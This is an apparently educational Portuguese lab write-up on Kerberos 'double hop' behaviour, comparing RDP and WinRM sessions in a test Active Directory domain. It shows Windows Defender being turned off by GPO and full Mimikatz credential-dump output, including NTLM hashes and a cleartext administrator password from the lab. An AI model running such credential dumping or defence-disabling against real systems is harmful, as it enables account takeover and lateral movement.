Hoje vamos falar sobre Double Hop, um comportamento comum em ambientes que utilizam autenticação Kerberos. Diferente do que muitas pessoas pensam, o Double Hop não é uma falha ou vulnerabilidade, mas sim um resultado natural de como o próprio protocolo de autenticação funciona.
Ao entender como o Kerberos gerencia credenciais e tickets de autenticação entre diferentes serviços, conseguimos compreender melhor por que esse comportamento ocorre. A partir desse entendimento, também é possível explorar algumas técnicas que permitem contornar essa limitação e, em determinados cenários, acessar recursos que normalmente não estariam disponíveis.
Entendendo o Double Hop
Antes de entrarmos diretamente no problema, é importante entender como a autenticação se comporta em diferentes tipos de acesso remoto.
Quando utilizamos RDP (Remote Desktop Protocol), uma sessão interativa completa é criada na máquina de destino. Isso significa que as credenciais do usuário ficam disponíveis em memória (LSASS), podendo ser observadas com ferramentas como o Mimikatz. Esse tipo de logon é conhecido como RemoteInteractive e mantém um contexto completo do usuário na máquina.
Esse comportamento é diferente de outros métodos de acesso remoto, como o WinRM (PowerShell Remoting), onde as credenciais nem sempre são totalmente delegadas. Essa diferença é fundamental para entender por que o Double Hop acontece
No meu laboratório, utilizei três máquinas:
- AD (mylab) — 192.168.100.140
- FILE01–192.168.100.130
- Cliente — máquina utilizada para iniciar as conexões
Primeiro, habilitei o rdp na file01 e no AD para que a máquina cliente pudesse se conectar:Antes de iniciar os testes, foi necessário permitir o acesso remoto via RDP nos servidores, garantindo que o usuário pudesse estabelecer uma sessão interativa no FILE01.
Para isso, no Domain Controller, foi configurada a política:
Allow log on through Remote Desktop ServicesIncluindo os seguintes usuários/grupos:
Administrators
Remote Desktop Users
mylab\a.costa
Para permitir que o FILE01 realizasse o download de ferramentas necessárias para os testes (como o Mimikatz), foi necessário ajustar uma política de segurança via GPO.
User Configuration
└── Policies
└── Administrative Templates
└── Windows Components
└── Internet Explorer
└── Internet Control Panel
└── Security Page
└── Internet Zone
FILE01:
gpupdate /force Baixei o firefox na file01 para facilitar o download ( explorer é horrível ).
Obs: Como se trata de um ambiente de laboratório, aproveitei para praticar também a criação e gerenciamento de GPOs.
No entanto, em um cenário real de pentest, o mais comum seria utilizar ferramentas diretamente a partir da máquina do atacante e transferi-las para o host comprometido conforme necessário.
Criei mais uma GPO para desabilitar o windows defender na file01 para que o mimikatz funcionasse:
Computer Configuration
└── Policies
└── Administrative Templates
└── Windows Components
└── Microsoft Defender Antivirus
└── Turn off Microsoft Defender Antivirus
Desabilitar o windows defender:
Desabilitar a proteção em tempo real:
Criamos um usuário com acesso RDP direto a máquina para realizar o teste, o usuário a.costa ( visto anteriormente ) nunca realizou logon na file01, vejamos a saída do mimikatz:
1 — Execute o mimikatz como administrator;
Apesar de utilizarmos sekurlsa::logonpasswords
mimikatz # privilege::debug
Privilege '20' OK
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /* Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 2469078 (00000000:0025acd6)
Session : CachedInteractive from 4
User Name : Administrator
Domain : MYLAB
Logon Server : AD
Logon Time : 3/29/2026 4:13:16 PM
SID : S-1-5-21-2756103187-1844387654-1677826833-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : MYLAB
* NTLM : b447f785e4c1e8b36c0b4f00c138e3d7
* SHA1 : 2a13a498e29259a4ee821f2dff45fd672d066a65
* DPAPI : 27efbff2fab1892f99b868132c9a9be9
tspkg :
wdigest :
* Username : Administrator
* Domain : MYLAB
* Password : (null)
kerberos :
* Username : Administrator
* Domain : MYLAB.LOCAL
* Password : teste1232000*
ssp :
credman :
Authentication Id : 0 ; 612765 (00000000:0009599d)
Session : Interactive from 4
User Name : file01
Domain : MYLAB
Logon Server : AD
Logon Time : 3/29/2026 3:58:28 PM
SID : S-1-5-21-2756103187-1844387654-1677826833-1130
msv :
[00000003] Primary
* Username : file01
* Domain : MYLAB
* NTLM : b447f785e4c1e8b36c0b4f00c138e3d7
* SHA1 : 2a13a498e29259a4ee821f2dff45fd672d066a65
* DPAPI : 83fb42229e26d1197c3e996a211d91a1
tspkg :
wdigest :
* Username : file01
* Domain : MYLAB
* Password : (null)
kerberos :
* Username : file01
* Domain : MYLAB.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 602784 (00000000:000932a0)
Session : Interactive from 4
User Name : DWM-4
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/29/2026 3:58:19 PM
SID : S-1-5-90-0-4
msv :
[00000003] Primary
* Username : FILE01$
* Domain : MYLAB
* NTLM : 0da4ec68b2055ca0e66c9f3cfbcc3545
* SHA1 : d0709f2a1c9f7236522f1282eda4acee6fa2c42f
tspkg :
wdigest :
* Username : FILE01$
* Domain : MYLAB
* Password : (null)
kerberos :
* Username : FILE01$
* Domain : mylab.local
* Password : dc d7 0f 0d ba 13 1c 64 12 3b 2e 7b 67 54 12 63 a9 21 e2 37 d2 07 2f e0 73 70 b9 4a 1c 63 e3 c1 f7 b3 a8 7c 8f d6 30 01 b2 45 00 ee 5f a5 e8 db 3c f6 8d 28 6d af 6e 58 91 7e d1 99 fa c0 58 95 a2 72 77 33 c6 06 4e bd dd fb f2 a6 2b ff 60 1d 68 3d 47 21 01 77 49 48 b2 3d df b0 aa 2e 1b 21 6d 4f 8f 7b 03 cc 6b a0 d0 14 0c b0 d3 f4 9f 36 9a 54 27 3c ac ab d7 cc 63 c0 b1 5a 3b 2c 2f 34 81 b7 1a de c5 39 4d 80 51 6d fb 6f 69 95 ee cb 85 e2 e9 b6 9b ff e1 58 bc ac 4b c3 6a 86 c8 f5 52 00 69 e4 39 0e 9a ad c1 1c 80 6c 6d fc 1d ef ed 20 22 b0 34 09 f9 6b 0a fb 80 3b 1b 96 77 ca a6 f0 41 20 80 2c 23 50 a6 a1 13 fc ec 3e 0d 5d 16 c3 dd 9c ef 03 97 76 2a af e2 c0 45 68 76 3c 60 db 78 e9 75 90 93 c0 05 f2 71 61 26 35 47 c4
ssp :
credman :
Authentication Id : 0 ; 602728 (00000000:00093268)
Session : Interactive from 4
User Name : DWM-4
Domain : Window Manager
Logon Server : (null)
Logon Time : 3/29/2026 3:58:19 PM
SID : S-1-5-90-0-4
msv :
[00000003] Primary
* Username : FILE01$
* Domain : MYLAB
* NTLM : d05c76fd6b4a4cf60d44ac984654fe87
* SHA1 : ffe601c476101687f6225d152398dd1f892886ee
tspkg :
wdigest :
* Username : FILE01$
* Domain : MYLAB
* Password : (null)
kerberos :
* Username : FILE01$
* Domain : mylab.local
* Password : 63 d7 6f b3 40 09 94 f4 a5 12 63 47 91 8a 7f 19 2e 81 12 66 20 95 95 20 52 0d 4b 3c e7 bf 42 38 99 bb 07 5d 75 c4 cc be 9c df 4a 3a 47 7f 99 86 36 d1 70 c4 ec d9 04 7d ff dd 60 7e 3b 1f 79 42 01 73 d6 38 6e 24 2d fa a8 e0 b7 9d 76 ad 65 d8 72 e0 78 0f b4 d3 a5 35 ce 93 93 45 36 71 07 7a ec 8a 92 73 a8 b8 cf d4 ff a5 af d5 ed 8a 73 ed ea 87 85 8a bc ae 00 62 8e 90 5b 32 c7 b9 71 d0 65 e4 65 a4 73 e3 94 65 c5 78 0c 5f 77 77 46 43 8c 59 1b b1 75 d7 e4 fd fe b1 1b da 03 37 60 5c a6 a0 f8 a3 d4 60 1c e1 25 1a ab 37 83 a6 66 65 fa 0b c6 30 af 0f 0d 97 57 ec cf 4a ca 5f fb 17 30 de 43 bc e5 e4 8b 4f 45 b4 98 1c 8f 3f 5d 70 ac c7 bb ee b3 c1 47 f4 14 90 ea 1b b5 ec b5 29 c1 50 c3 60 8e 97 68 c5 04 3d 4f eb ab 3a 76 af
ssp :
credman :
Authentication Id : 0 ; 409362 (00000000:00063f12)
Session : Interactive from 2
User Name : file01
Domain : MYLAB
Logon Server : AD
Logon Time : 3/29/2026 3:55:38 PM
SID : S-1-5-21-2756103187-1844387654-1677826833-1128
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : FILE01$
Domain : MYLAB
Logon Server : (null)
Logon Time : 4/4/2209 6:51:04 PM
SID : S-1-5-20
msv :
[00000003] Primary
* Username : FILE01$
* Domain : MYLAB
* NTLM : d05c76fd6b4a4cf60d44ac984654fe87
* SHA1 : ffe601c476101687f6225d152398dd1f892886ee
tspkg :
wdigest :
* Username : FILE01$
* Domain : MYLAB
* Password : (null)
kerberos :
* Username : file01$
* Domain : MYLAB.LOCAL
* Password : 63 d7 6f b3 40 09 94 f4 a5 12 63 47 91 8a 7f 19 2e 81 12 66 20 95 95 20 52 0d 4b 3c e7 bf 42 38 99 bb 07 5d 75 c4 cc be 9c df 4a 3a 47 7f 99 86 36 d1 70 c4 ec d9 04 7d ff dd 60 7e 3b 1f 79 42 01 73 d6 38 6e 24 2d fa a8 e0 b7 9d 76 ad 65 d8 72 e0 78 0f b4 d3 a5 35 ce 93 93 45 36 71 07 7a ec 8a 92 73 a8 b8 cf d4 ff a5 af d5 ed 8a 73 ed ea 87 85 8a bc ae 00 62 8e 90 5b 32 c7 b9 71 d0 65 e4 65 a4 73 e3 94 65 c5 78 0c 5f 77 77 46 43 8c 59 1b b1 75 d7 e4 fd fe b1 1b da 03 37 60 5c a6 a0 f8 a3 d4 60 1c e1 25 1a ab 37 83 a6 66 65 fa 0b c6 30 af 0f 0d 97 57 ec cf 4a ca 5f fb 17 30 de 43 bc e5 e4 8b 4f 45 b4 98 1c 8f 3f 5d 70 ac c7 bb ee b3 c1 47 f4 14 90 ea 1b b5 ec b5 29 c1 50 c3 60 8e 97 68 c5 04 3d 4f eb ab 3a 76 af
ssp :
credman :
Authentication Id : 0 ; 22165 (00000000:00005695)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 4/4/2209 6:51:04 PM
SID :
msv :
[00000003] Primary
* Username : FILE01$
* Domain : MYLAB
* NTLM : d05c76fd6b4a4cf60d44ac984654fe87
* SHA1 : ffe601c476101687f6225d152398dd1f892886ee
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 497148 (00000000:000795fc)
Session : Interactive from 3
User Name : j.silva
Domain : MYLAB
Logon Server : AD
Logon Time : 3/29/2026 3:56:55 PM
SID : S-1-5-21-2756103187-1844387654-1677826833-1105
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 228628 (00000000:00037d14)
Session : Interactive from 1
User Name : Administrator
Domain : FILE01
Logon Server : FILE01
Logon Time : 3/29/2026 3:54:53 PM
SID : S-1-5-21-202710534-1658306482-1016783275-500
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 4/4/2209 6:51:05 PM
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 4/4/2209 6:51:04 PM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
mimikatz #hostname
FILE01.mylab.local (FILE01)
Agora vamos acessar por RDP da máquina cliente para a 2016 e então testar o RDP novamente, segue:
a.costa nunca realizou logon na file01:
Agora vamos executar o mimikatz novamente na file01:
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 2618754 (00000000:0027f582)
Session : RemoteInteractive from 5
User Name : a.costa
Domain : MYLAB
Logon Server : AD
Logon Time : 3/29/2026 4:22:48 PM
SID : S-1-5-21-2756103187-1844387654-1677826833-1107
msv :
[00000003] Primary
* Username : a.costa
* Domain : MYLAB
* NTLM : 91e1ab6d4cc87488ef76f09d87b51d23
* SHA1 : 75bed4a086733c4c090cc2db08db35e9b13f8d6b
* DPAPI : 02cc69cebbe93ba3bdc3453b6a493ee6
tspkg :
wdigest :
* Username : a.costa
* Domain : MYLAB
* Password : (null)
kerberos :
* Username : a.costa
* Domain : MYLAB.LOCAL
* Password : (null)Veja:
Authentication Id : 0 ; 2618754 (00000000:0027f582)
Session : RemoteInteractive from 5
User Name : a.costa
Domain : MYLABO rdp criou um logon interativo, que resulta na autenticação reutilizável no processo LSASS. Isso acontece uma vez que o TGT fica disponível durante a sessão, podendo solicitar TGS para outro dispositivo.
WINRM: Quando utilizamos winrm, o TGT do nosso usuário não fica disponível na máquina remota, o mesmo também não
Computer Configuration
→ Policies
→ Windows Settings
→ Security Settings
→ System Services
→ Windows Remote Management
Permitir gerenciamento remoto via WinRM
Veja:
Computer Configuration
→ Policies
→ Windows Settings
→ Security Settings
→ Windows Defender Firewall with Advanced Security
→ Inbound Rules
IP e hostname do AD:
Da máquina cliente, tentei acessar uma pasta compartilhada com sucesso no AD:
Para realizar o double hop, eu utilizei uma terceira máquina, me conectando a máquina cliente como Administrator e tentando acessar dela a mesma pasta compartilhada no AD:
IP do cliente 192.168.100.120:
Conectando a máquina cliente através do winrm através do usuário Administrator e tentando acessar o mesmo recurso compartilhado, segue o print:
No exemplo supracitado, o acesso é negado devido à ausência de um contexto de logon que permita a reutilização do TGT durante a sessão.
Ao analisar a sessão com o comando klist, podemos observar que não há tickets Kerberos disponíveis. Isso ocorre porque a conexão via WinRM não cria um logon interativo completo, impedindo que credenciais sejam armazenadas e reutilizadas para autenticação em outros serviços.
Diferente do RDP, no WinRM o TGT do usuário Administrator não é delegado para a máquina cliente. Isso significa que, embora a autenticação no primeiro host seja bem-sucedida, não há credenciais reutilizáveis disponíveis para acessar outros recursos em nome do usuário.
Como consequência, a máquina cliente não consegue provar ao Domain Controller (AD) que está atuando em nome do usuário Administrator, pois não possui um TGT válido para solicitar novos tickets de serviço (TGS).
Mesmo estando dentro do domínio, o resultado será o mesmo ao tentar, a partir da máquina cliente, acessar um recurso compartilhado no AD passando por um host intermediário (file01), conforme demonstrado a seguir:
Para contornar o comportamento de Double Hop, podemos fornecer explicitamente as credenciais no momento do acesso ao recurso.
Nesse caso, utilizamos o cmdlet Get-Credential para capturar as credenciais do usuário e, em seguida, criamos um novo drive com New-PSDrive, autenticando diretamente no recurso compartilhado:
$cred = Get-Credential
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\AD\double hop" -Credential $credApós isso, ao acessar o diretório:
dir Z:
Observe que, neste exemplo, realizamos uma autenticação explícita para acessar o recurso. Isso demonstra que o Double Hop não impede o acesso em si, mas sim a reutilização implícita de credenciais entre diferentes serviços.
O Double Hop não é uma falha, mas um comportamento decorrente do design do Kerberos. Ao entender como funciona a delegação de credenciais, conseguimos criar contextos onde é possível contornar essa limitação e alcançar o acesso desejado.
Meu contato:
E-mail: robertocoliver@protonmail.com